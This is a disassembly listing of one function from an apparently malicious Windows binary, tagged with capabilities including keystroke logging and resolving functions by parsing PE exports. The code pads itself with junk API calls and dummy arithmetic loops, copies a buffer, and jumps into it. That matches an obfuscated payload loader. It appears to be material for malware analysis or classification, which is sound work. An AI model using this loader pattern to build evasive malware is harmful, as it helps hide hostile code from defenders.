Function at 0x403580
Capabilities:
Delete directory
Get common file path
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports
Suspend thread
Write file on windows

Disassembly:
mov eax, 0x10ac
call fcn.0040cdc0
cmp dword [0xa3e52c], 0xac
push ebx
push ebp
push esi
push edi
jne 0x40368c
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeMenuA]
push 0
push 0
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
push 0x402d84
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ModifyMenuA]
push 0
lea eax, [esp + 0xbc]
push eax
push 0
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push 0
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea edx, [esp + 0x4bc]
push edx
push 0x402dac
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x20]
call fcn.00403e8a
lea ecx, [esp + 0x20]
call fcn.00403e9b
call fcn.00403e85
push 0
call fcn.00403f4e
push 0
push 0
call fcn.004040aa
push 0
push 0
call fcn.00404240
push 0
call fcn.00403f1f
push 0
push 0
call fcn.00403f35
push 0
push 0
call fcn.00403f59
push 0
call fcn.004041f8
add esp, 0x2c
add dword [0xa3e52c], 0x11b1b
call fcn.004034a0
call fcn.004034c0
xor esi, esi
cmp dword [0xa3e52c], esi
jbe 0x403706
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
jmp 0x4036c0
mov eax, dword [0xa3fe34]
mov cl, byte [eax + esi + 0x11b1b]
mov edx, dword [0xa3e49c]
mov byte [edx + esi], cl
cmp dword [0xa3e52c], 0xa8
jne 0x4036fd
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea eax, [esp + 0x8bc]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc esi
cmp esi, dword [0xa3e52c]
jb 0x4036c0
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov edi, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindResourceA]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0xa3e52c]
add ecx, eax
cmp ecx, 0xe
jne 0x4037ba
push 0
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
call esi
push 0x402dc4
call edi
push 0
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
lea eax, [esp + 0xb8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402de8
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x8c0]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x14], eax
jl 0x403724
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
jmp 0x4037e0
push 0
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x4037e0
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f9c7
jge 0x403c11
mov dword [esp + 0x68], 0x2b23e75a
mov dword [esp + 0x8c], 0x4cde8ddd
mov dword [esp + 0x30], 0x5fd7b9a9
mov dword [esp + 0x44], 0x36fee2ef
mov dword [esp + 0x80], 0x7ea82ce
mov dword [esp + 0x3c], 0x7e9e0a9d
mov dword [esp + 0x38], 0x4e9d61c0
mov dword [esp + 0x88], 0x35f910ef
mov dword [esp + 0x78], 0x1b1f4c31
mov dword [esp + 0x14], 0x3ac9bbf8
mov dword [esp + 0x54], 0x7a15913f
mov dword [esp + 0x84], 0x62549a1c
mov dword [esp + 0x58], 0x2a24477f
mov dword [esp + 0x90], 0x1201f2d6
mov dword [esp + 0x2c], 0x71b2ec6
mov dword [esp + 0x7c], 0x480e8347
mov dword [esp + 0x40], 0x7e45e7b5
mov dword [esp + 0x64], 0x66ee9337
mov dword [esp + 0x70], 0x37beb127
mov dword [esp + 0x94], 0x5f430172
mov dword [esp + 0x1c], 0x3ef75990
mov dword [esp + 0x34], 0x17d97796
mov dword [esp + 0x48], 0x671b5d09
mov dword [esp + 0x20], 0x12f2d2f6
mov dword [esp + 0x4c], 0x2e853ae6
mov dword [esp + 0x74], 0x52c4b444
mov dword [esp + 0x60], 0x46a518f9
mov dword [esp + 0x50], 0x35125e2b
mov dword [esp + 0x18], 0x1ad10849
mov dword [esp + 0x6c], 0x381ee696
mov dword [esp + 0x5c], 0xe11e6c2
add dword [esp + 0x68], 0x733a01c6
sub dword [esp + 0x68], 0x28e1ea4c
sub dword [esp + 0x68], 0x77f8656a
add dword [esp + 0x68], 0x1b0fc675
add dword [esp + 0x68], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x68], 0x65e693b6
add dword [esp + 0x68], 0x21e4e8db
sub dword [esp + 0x68], 0x1f11c09d
add dword [esp + 0x68], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
add dword [esp + 0x68], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x32e9610c
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
sub dword [esp + 0x68], 0x1af62962
sub dword [esp + 0x30], 0x59def22
sub dword [esp + 0x68], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0x8c], 0x42b3cadb
add dword [esp + 0x38], 0x4aa37306
add dword [esp + 0x80], 0x56582517
sub dword [esp + 0x68], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0x80], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x80], 0x2375764f
add dword [esp + 0x38], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x6f46e2ce
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x6e95728b
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x45b8ee68
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x44], 0x61944033
sub dword [esp + 0x38], 0x14d29531
add dword [esp + 0x38], 0x45e7e617
add dword [esp + 0x88], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
add dword [esp + 0x38], 0x5f1fe643
sub dword [esp + 0x90], 0x7327cae6
add dword [esp + 0x7c], 0x162a0206
add dword [esp + 0x14], 0x23b42ea1
add dword [esp + 0x64], 0x3b768056
sub dword [esp + 0x64], 0xf6d96df
sub dword [esp + 0x44], 0x259fb309
add dword [esp + 0x3c], 0x2f9e05b4
add dword [esp + 0x44], 0x61dc3320
add dword [esp + 0x54], 0x799a2ec5
add dword [esp + 0x38], 0x893cbaa
add dword [esp + 0x90], 0x15ff780
sub dword [esp + 0x90], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x13340774
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
mov eax, 0x45badb7d
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0x40], 0x3ddb5118
sub dword [esp + 0x8c], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x54], 0x4446398f
add dword [esp + 0x64], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
sub dword [esp + 0x80], 0x410a050d
sub dword [esp + 0x34], 0x2588952e
add dword [esp + 0x90], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x1856fc37
mul dword [esp + 0x8c]
mov eax, dword [esp + 0x8c]
mov eax, 0x14c6a33a
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x451f6ebe
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x45dccc0a
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
mov eax, 0x74f05f91
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x63b4dc15
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
add dword [esp + 0x58], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x403c26
inc esi
cmp esi, 0x19be898c
jl 0x403802
call fcn.00403340
call fcn.00403480
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov ebp, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov dword [esp + 0x14], 0x7b
cmp dword [0xa3e52c], 0x86
jne 0x403c8b
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
call edi
push 0
push 0
call ebx
lea edx, [esp + 0x20]
push edx
push 0
call ebp
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
sub dword [esp + 0x14], 1
jne 0x403c50
mov esi, dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebp, dword [sym.imp.KERNEL32.dll_Beep]
mov dword [esp + 0x14], 0x180ef
cmp dword [0xa3e52c], 0x1f
jne 0x403d18
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x4c4]
push ecx
push 0
call esi
push 0
lea edx, [esp + 0xbc]
push edx
call edi
lea eax, [esp + 0x98]
push eax
call ebx
push 0
push 0
call ebp
push 0
lea ecx, [esp + 0x8bc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
sub dword [esp + 0x14], 1
jne 0x403cb2
call fcn.00403050
mov eax, dword [0xa3e49c]
mov dword [0xa3e520], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10ac
jmp eax